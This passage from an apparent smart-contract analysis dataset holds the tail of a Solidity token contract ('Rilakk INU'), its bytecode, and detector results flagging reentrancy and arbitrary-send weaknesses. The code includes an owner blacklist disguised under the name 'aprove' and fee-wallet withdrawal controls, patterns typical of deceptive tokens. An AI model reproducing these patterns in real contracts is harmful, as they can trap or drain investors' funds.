contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet2.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function aprove(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external { require(_msgSender() == _FeeAddress); if (maxTxAmount > 1000000000) { _maxTxAmount = maxTxAmount * 10**9; } } function _setSellTax(uint256 sellTax) external { require(_msgSender() == _FeeAddress); require(sellTax < 10); _sellTax = sellTax; } function getTaxRate() public view returns (uint) { return _sellTax; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063c3c8cd801161006f578063c3c8cd801461040d578063c9567bf914610424578063cb66667f1461043b578063cbf1ecdd14610466578063dbe8272c14610491578063dd62ed3e146104ba57610140565b80638da5cb5b146103265780638f9a55c01461035157806395d89b411461037c578063961ac01b146103a7578063a9059cbb146103d057610140565b8063273123b7116100fd578063273123b71461023e578063313ce567146102675780635932ead1146102925780636fc3eaec146102bb57806370a08231146102d2578063715018a61461030f57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad5780631bbae6e0146101d857806323b872dd1461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f7565b6040516101679190612626565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906126f0565b610534565b6040516101a4919061274b565b60405180910390f35b3480156101b957600080fd5b506101c2610552565b6040516101cf9190612775565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612790565b610562565b005b34801561020d57600080fd5b50610228600480360381019061022391906127bd565b6105e9565b604051610235919061274b565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612810565b6106c2565b005b34801561027357600080fd5b5061027c6107b2565b6040516102899190612859565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b491906128a0565b6107bb565b005b3480156102c757600080fd5b506102d061086d565b005b3480156102de57600080fd5b506102f960048036038101906102f49190612810565b6108df565b6040516103069190612775565b60405180910390f35b34801561031b57600080fd5b50610324610930565b005b34801561033257600080fd5b5061033b610a83565b60405161034891906128dc565b60405180910390f35b34801561035d57600080fd5b50610366610aac565b6040516103739190612775565b60405180910390f35b34801561038857600080fd5b50610391610ab2565b60405161039e9190612626565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190612a3f565b610aef565b005b3480156103dc57600080fd5b506103f760048036038101906103f291906126f0565b610c19565b604051610404919061274b565b60405180910390f35b34801561041957600080fd5b50610422610c37565b005b34801561043057600080fd5b50610439610cb1565b005b34801561044757600080fd5b5061045061120b565b60405161045d9190612775565b60405180910390f35b34801561047257600080fd5b5061047b611215565b6040516104889190612aa9565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190612790565b61123b565b005b3480156104c657600080fd5b506104e160048036038101906104dc9190612ac4565b6112b3565b6040516104ee9190612775565b60405180910390f35b60606040518060400160405280600a81526020017f52696c616b6b20494e5500000000000000000000000000000000000000000000815250905090565b6000610548610541611384565b848461138c565b6001905092915050565b6000670de0b6b3a7640000905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a3611384565b73ffffffffffffffffffffffffffffffffffffffff16146105c357600080fd5b633b9aca008111156105e657633b9aca00816105df9190612b33565b6011819055505b50565b60006105f6848484611557565b6106b784610602611384565b6106b28560405180606001604052806028815260200161352e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610668611384565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5e9092919063ffffffff16565b61138c565b600190509392505050565b6106ca611384565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90612bd9565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107c3611384565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790612bd9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108ae611384565b73ffffffffffffffffffffffffffffffffffffffff16146108ce57600080fd5b60004790506108dc81611bc2565b50565b6000610929600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2e565b9050919050565b610938611384565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600481526020017f52494e5500000000000000000000000000000000000000000000000000000000815250905090565b610af7611384565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612bd9565b60405180910390fd5b60005b8151811015610c1557600160066000848481518110610ba957610ba8612bf9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c0d90612c28565b915050610b87565b5050565b6000610c2d610c26611384565b8484611557565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c78611384565b73ffffffffffffffffffffffffffffffffffffffff1614610c9857600080fd5b6000610ca3306108df565b9050610cae81611c9c565b50565b610cb9611384565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3d90612bd9565b60405180910390fd5b601060149054906101000a900460ff1615610d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8d90612cbd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061138c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6b57600080fd5b505afa158015610e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea39190612cf2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0557600080fd5b505afa158015610f19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3d9190612cf2565b6040518363ffffffff1660e01b8152600401610f5a929190612d1f565b602060405180830381600087803b158015610f7457600080fd5b505af1158015610f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fac9190612cf2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611035306108df565b600080611040610a83565b426040518863ffffffff1660e01b815260040161106296959493929190612d8d565b6060604051808303818588803b15801561107b57600080fd5b505af115801561108f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110b49190612e03565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555066b1a2bc2ec500006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111b5929190612e56565b602060405180830381600087803b1580156111cf57600080fd5b505af11580156111e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112079190612e94565b5050565b6000600c54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661127c611384565b73ffffffffffffffffffffffffffffffffffffffff161461129c57600080fd5b600a81106112a957600080fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061137c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f24565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612f33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146390612fc5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161154a9190612775565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90613057565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e906130e9565b60405180910390fd5b6000811161167a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116719061317b565b60405180910390fd5b6002600a81905550600c54600b81905550611693610a83565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561170157506116d1610a83565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117aa5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117b357600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561185e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118b45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118cc5750601060179054906101000a900460ff165b1561197c576011548111156118e057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061192b57600080fd5b602842611938919061319b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611a275750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a7d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a94576002600a81905550600c54600b819055505b6000611a9f306108df565b9050601060159054906101000a900460ff16158015611b0c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b245750601060169054906101000a900460ff165b15611b4c57611b3281611c9c565b60004790506000811115611b4a57611b4947611bc2565b5b505b505b611b59838383611f87565b505050565b6000838311158290611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d9190612626565b60405180910390fd5b5060008385611bb591906131f1565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c2a573d6000803e3d6000fd5b5050565b6000600854821115611c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6c90613297565b60405180910390fd5b6000611c7f611f97565b9050611c94818461133a90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cd457611cd36128fc565b5b604051908082528060200260200182016040528015611d025781602001602082028036833780820191505090505b5090503081600081518110611d1a57611d19612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dbc57600080fd5b505afa158015611dd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611df49190612cf2565b81600181518110611e0857611e07612bf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e6f30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461138c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ed3959493929190613375565b600060405180830381600087803b158015611eed57600080fd5b505af1158015611f01573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083118290611f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f629190612626565b60405180910390fd5b5060008385611f7a91906133fe565b9050809150509392505050565b611f92838383611fc2565b505050565b6000806000611fa461218d565b91509150611fbb818361133a90919063ffffffff16565b9250505090565b600080600080600080611fd4876121ec565b95509550955095509550955061203286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612113816122fc565b61211d84836123b9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161217a9190612775565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506121c1670de0b6b3a764000060085461133a90919063ffffffff16565b8210156121df57600854670de0b6b3a76400009350935050506121e8565b81819350935050505b9091565b60008060008060008060008060006122098a600a54600b546123f3565b9250925092506000612219611f97565b9050600080600061222c8e878787612489565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061229683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b5e565b905092915050565b60008082846122ad919061319b565b9050838110156122f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e99061347b565b60405180910390fd5b8091505092915050565b6000612306611f97565b9050600061231d828461251290919063ffffffff16565b905061237181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123ce8260085461225490919063ffffffff16565b6008819055506123e98160095461229e90919063ffffffff16565b6009819055505050565b60008060008061241f6064612411888a61251290919063ffffffff16565b61133a90919063ffffffff16565b90506000612449606461243b888b61251290919063ffffffff16565b61133a90919063ffffffff16565b9050600061247282612464858c61225490919063ffffffff16565b61225490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806124a2858961251290919063ffffffff16565b905060006124b9868961251290919063ffffffff16565b905060006124d0878961251290919063ffffffff16565b905060006124f9826124eb858761225490919063ffffffff16565b61225490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156125255760009050612587565b600082846125339190612b33565b905082848261254291906133fe565b14612582576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125799061350d565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125c75780820151818401526020810190506125ac565b838111156125d6576000848401525b50505050565b6000601f19601f8301169050919050565b60006125f88261258d565b6126028185612598565b93506126128185602086016125a9565b61261b816125dc565b840191505092915050565b6000602082019050818103600083015261264081846125ed565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126878261265c565b9050919050565b6126978161267c565b81146126a257600080fd5b50565b6000813590506126b48161268e565b92915050565b6000819050919050565b6126cd816126ba565b81146126d857600080fd5b50565b6000813590506126ea816126c4565b92915050565b6000806040838503121561270757612706612652565b5b6000612715858286016126a5565b9250506020612726858286016126db565b9150509250929050565b60008115159050919050565b61274581612730565b82525050565b6000602082019050612760600083018461273c565b92915050565b61276f816126ba565b82525050565b600060208201905061278a6000830184612766565b92915050565b6000602082840312156127a6576127a5612652565b5b60006127b4848285016126db565b91505092915050565b6000806000606084860312156127d6576127d5612652565b5b60006127e4868287016126a5565b93505060206127f5868287016126a5565b9250506040612806868287016126db565b9150509250925092565b60006020828403121561282657612825612652565b5b6000612834848285016126a5565b91505092915050565b600060ff82169050919050565b6128538161283d565b82525050565b600060208201905061286e600083018461284a565b92915050565b61287d81612730565b811461288857600080fd5b50565b60008135905061289a81612874565b92915050565b6000602082840312156128b6576128b5612652565b5b60006128c48482850161288b565b91505092915050565b6128d68161267c565b82525050565b60006020820190506128f160008301846128cd565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612934826125dc565b810181811067ffffffffffffffff82111715612953576129526128fc565b5b80604052505050565b6000612966612648565b9050612972828261292b565b919050565b600067ffffffffffffffff821115612992576129916128fc565b5b602082029050602081019050919050565b600080fd5b60006129bb6129b684612977565b61295c565b905080838252602082019050602084028301858111156129de576129dd6129a3565b5b835b81811015612a0757806129f388826126a5565b8452602084019350506020810190506129e0565b5050509392505050565b600082601f830112612a2657612a256128f7565b5b8135612a368482602086016129a8565b91505092915050565b600060208284031215612a5557612a54612652565b5b600082013567ffffffffffffffff811115612a7357612a72612657565b5b612a7f84828501612a11565b91505092915050565b6000612a938261265c565b9050919050565b612aa381612a88565b82525050565b6000602082019050612abe6000830184612a9a565b92915050565b60008060408385031215612adb57612ada612652565b5b6000612ae9858286016126a5565b9250506020612afa858286016126a5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612b3e826126ba565b9150612b49836126ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b8257612b81612b04565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bc3602083612598565b9150612bce82612b8d565b602082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612c33826126ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612c6657612c65612b04565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612ca7601783612598565b9150612cb282612c71565b602082019050919050565b60006020820190508181036000830152612cd681612c9a565b9050919050565b600081519050612cec8161268e565b92915050565b600060208284031215612d0857612d07612652565b5b6000612d1684828501612cdd565b91505092915050565b6000604082019050612d3460008301856128cd565b612d4160208301846128cd565b9392505050565b6000819050919050565b6000819050919050565b6000612d77612d72612d6d84612d48565b612d52565b6126ba565b9050919050565b612d8781612d5c565b82525050565b600060c082019050612da260008301896128cd565b612daf6020830188612766565b612dbc6040830187612d7e565b612dc96060830186612d7e565b612dd660808301856128cd565b612de360a0830184612766565b979650505050505050565b600081519050612dfd816126c4565b92915050565b600080600060608486031215612e1c57612e1b612652565b5b6000612e2a86828701612dee565b9350506020612e3b86828701612dee565b9250506040612e4c86828701612dee565b9150509250925092565b6000604082019050612e6b60008301856128cd565b612e786020830184612766565b9392505050565b600081519050612e8e81612874565b92915050565b600060208284031215612eaa57612ea9612652565b5b6000612eb884828501612e7f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f1d602483612598565b9150612f2882612ec1565b604082019050919050565b60006020820190508181036000830152612f4c81612f10565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612faf602283612598565b9150612fba82612f53565b604082019050919050565b60006020820190508181036000830152612fde81612fa2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613041602583612598565b915061304c82612fe5565b604082019050919050565b6000602082019050818103600083015261307081613034565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006130d3602383612598565b91506130de82613077565b604082019050919050565b60006020820190508181036000830152613102816130c6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613165602983612598565b915061317082613109565b604082019050919050565b6000602082019050818103600083015261319481613158565b9050919050565b60006131a6826126ba565b91506131b1836126ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e6576131e5612b04565b5b828201905092915050565b60006131fc826126ba565b9150613207836126ba565b92508282101561321a57613219612b04565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613281602a83612598565b915061328c82613225565b604082019050919050565b600060208201905081810360008301526132b081613274565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132ec8161267c565b82525050565b60006132fe83836132e3565b60208301905092915050565b6000602082019050919050565b6000613322826132b7565b61332c81856132c2565b9350613337836132d3565b8060005b8381101561336857815161334f88826132f2565b975061335a8361330a565b92505060018101905061333b565b5085935050505092915050565b600060a08201905061338a6000830188612766565b6133976020830187612d7e565b81810360408301526133a98186613317565b90506133b860608301856128cd565b6133c56080830184612766565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613409826126ba565b9150613414836126ba565b925082613424576134236133cf565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613465601b83612598565b91506134708261342f565b602082019050919050565b6000602082019050818103600083015261349481613458565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134f7602183612598565b91506135028261349b565b604082019050919050565b60006020820190508181036000830152613526816134ea565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220916fd5f0c990bbc68f6bac1403b974050c453181b4c289651338e0ffdb17e3e264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,455
0xb4bda1273d079780d11ccb5932daa7ee69e48751
